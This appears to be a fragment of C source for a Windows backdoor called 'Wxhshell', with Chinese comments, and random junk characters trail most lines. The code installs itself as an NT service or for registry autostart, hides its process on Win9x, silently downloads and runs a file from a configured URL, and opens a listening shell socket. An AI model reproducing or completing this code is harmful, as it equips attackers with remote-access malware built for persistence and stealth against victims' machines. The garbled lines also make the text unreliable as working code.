DWORD PebBaseAddress; `s|\"@2
DWORD AffinityMask; 123-i,epg
DWORD BasePriority; LT
y@6*
ULONG UniqueProcessId; [jG uO%
ULONG InheritedFromUniqueProcessId; :;#c:RKi:
} PROCESS_BASIC_INFORMATION; ' ]H#0.
:7'0:'0$t
PROCNTQSIP NtQueryInformationProcess; j+ T\c2d
_^,[wD
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; RvZryA*vu
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 'ra_Zg[j
OHXeqjhy
HANDLE hProcess; `04Y ;@w
PROCESS_BASIC_INFORMATION pbi; $4fjSSB~
Vo58Nz:%
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); K;(|v3g6
if(NULL == hInst ) return 0; p%i
.(A
aO;Q%]VL'
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); lj% ;d'
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); WA)lk>(+
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2{Lc^6i(t
%%H. &*i,
if (!NtQueryInformationProcess) return 0; itvy[b-*
kk>0XPk
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ".7KEnx
if(!hProcess) return 0; =V4_DJ(&
vzT6G/
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; c_j)8
[Nzg
8FP
CloseHandle(hProcess);
19.!$;
>G -?e!
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); MYW 4@#
if(hProcess==NULL) return 0; OYCFx2{
,4?|}xg
HMODULE hMod; hJL0M!
char procName[255]; EJiF_
unsigned long cbNeeded; U#^:f7-$.
I n%yMH8
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1Y"y!\t7G
GCmVmOdKr
CloseHandle(hProcess); 7H@Cy}a
zz''FmedF
if(strstr(procName,"services")) return 1; // 以服务启动 -V)5Tr=
?f%DVK d
return 0; // 注册表启动 $f@-3/V6{
} ?&t|?@
M<me\s)
// 主模块 8`R}L
int StartWxhshell(LPSTR lpCmdLine) bKbpI>;[
{ d%|#m)
SOCKET wsl; !D]6Cq
BOOL val=TRUE; d3q/mg 5a
int port=0; 4pHPf<6
struct sockaddr_in door; k?*DBXJv
=u1w\>( 2Y
if(wscfg.ws_autoins) Install(); ,)\5O0 D6
mf_9O
port=atoi(lpCmdLine); H0Gp mKYW
"7u"d4h-:(
if(port<=0) port=wscfg.ws_port; H@bmLq
7'l{I'Z
WSADATA data; x#xO {
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?p\II7
7m)ykq:?
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 7=[O6<+o
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?
Gu_UW
door.sin_family = AF_INET; _O71r}4
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2ZFKjj
door.sin_port = htons(port); T<~[vjA
iZqFVr&JF
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { o+WrIAR
closesocket(wsl); .A f)y_
return 1; YSUH*i/%
} pzp"NKxi
J##X5'a3*
if(listen(wsl,2) == INVALID_SOCKET) { 'S-"*:$,u
closesocket(wsl); NNrZb?
return 1; x@(f^P
} pt;Sk?-1
Wxhshell(wsl); Gb)iB
WSACleanup(); Ud?d.
mI*>7?
return 0; vxfh1B&
#]hkQo
} LfSUY
KQI} 5
// 以NT服务方式启动 PL2Q!i`[o
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) OX`GN#yl
{ * =N6_
DWORD status = 0; YQd&rkr
DWORD specificError = 0xfffffff;
F nRxc
_ r)hr7
serviceStatus.dwServiceType = SERVICE_WIN32; wAwH8x LU
serviceStatus.dwCurrentState = SERVICE_START_PENDING; i3!$M/_]
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?At-
serviceStatus.dwWin32ExitCode = 0; m<HjL
serviceStatus.dwServiceSpecificExitCode = 0; L&k$4,Z9
serviceStatus.dwCheckPoint = 0; &K*_/Q
'\
serviceStatus.dwWaitHint = 0; ATkqzE`;
#6Ph"\G/
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8*){*'bf
if (hServiceStatusHandle==0) return; CUM~*
DY27' `n6
status = GetLastError(); JS.'v7
if (status!=NO_ERROR) 0-O.*Q^
{ 9 W
r(w
serviceStatus.dwCurrentState = SERVICE_STOPPED; n;Wf|>
serviceStatus.dwCheckPoint = 0; { J%$.D(/
serviceStatus.dwWaitHint = 0; DcM+K@1E4^
serviceStatus.dwWin32ExitCode = status; `SbX`a0p2
serviceStatus.dwServiceSpecificExitCode = specificError; T$B4DQ
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~x\Q\Cxp
return; mq}
#{
} <p8y'KAlc
K\r=MkA.>
serviceStatus.dwCurrentState = SERVICE_RUNNING; g9Qxf% }
serviceStatus.dwCheckPoint = 0; nUu|}11 (
serviceStatus.dwWaitHint = 0; s'w0pZqj
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7oSuLo=
} ?2/M W27w
Bd[}A9O[
// 处理NT服务事件,比如:启动、停止 QVhBHAw
VOID WINAPI NTServiceHandler(DWORD fdwControl) c>k6i?u:X7
{ L(rjjkH
switch(fdwControl) |n%N'-el
{ !ry+ r!"
case SERVICE_CONTROL_STOP: PQ|x?98
serviceStatus.dwWin32ExitCode = 0; |"*:ZSj
serviceStatus.dwCurrentState = SERVICE_STOPPED; No+zw% l0E
serviceStatus.dwCheckPoint = 0; $h
f\ #'J
serviceStatus.dwWaitHint = 0; Nd)o1{I
{ ?*dx=UI
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ps
J 1J
} j>M%?Tw
return; XV!EjD~q
case SERVICE_CONTROL_PAUSE: j<5R$^?U
serviceStatus.dwCurrentState = SERVICE_PAUSED; $dUN+9
break; $5[RR
case SERVICE_CONTROL_CONTINUE: 6lFs N2
serviceStatus.dwCurrentState = SERVICE_RUNNING; 6g&nnA
break; \Ki#"%S
case SERVICE_CONTROL_INTERROGATE: [K QZHIe
break; T!E LH!
}; S-dV
SetServiceStatus(hServiceStatusHandle, &serviceStatus); rrq-so1u}
} 'D{abm0
k}gs;|_
// 标准应用程序主函数 7 4UE-H)
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) XcneH jpR
{ $*ZHk0
7x
Re>e|$.T
// 获取操作系统版本 }_TdXY
#w\
OsIsNt=GetOsVer(); u'][3
GetModuleFileName(NULL,ExeFile,MAX_PATH); .;s4T?j@w
14zzWzKx
// 从命令行安装 ShxX[k
if(strpbrk(lpCmdLine,"iI")) Install(); 5eJd$}Lbc
6Z=H>w
// 下载执行文件 6.=b^6MV
if(wscfg.ws_downexe) { =Q/i<u
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) exvsf|
WinExec(wscfg.ws_filenam,SW_HIDE); zt6ep=
} aP gG+tu
548BM^^"r
if(!OsIsNt) { W1(ziP'6
// 如果时win9x,隐藏进程并且设置为注册表启动 @e/dQ:Fb
HideProc(); "yk%/:G+
StartWxhshell(lpCmdLine); 2
{0VyLx
} ,|/$|$'
else omu&:)
g
if(StartFromService()) WDR!e2G
// 以服务方式启动 nrS_t
y
StartServiceCtrlDispatcher(DispatchTable); G}*B`m
else :4d7%q
// 普通方式启动 6;DPGx
StartWxhshell(lpCmdLine); &n
wg$z{Y
m+ YgfR
return 0; 3dLz=.=)'
}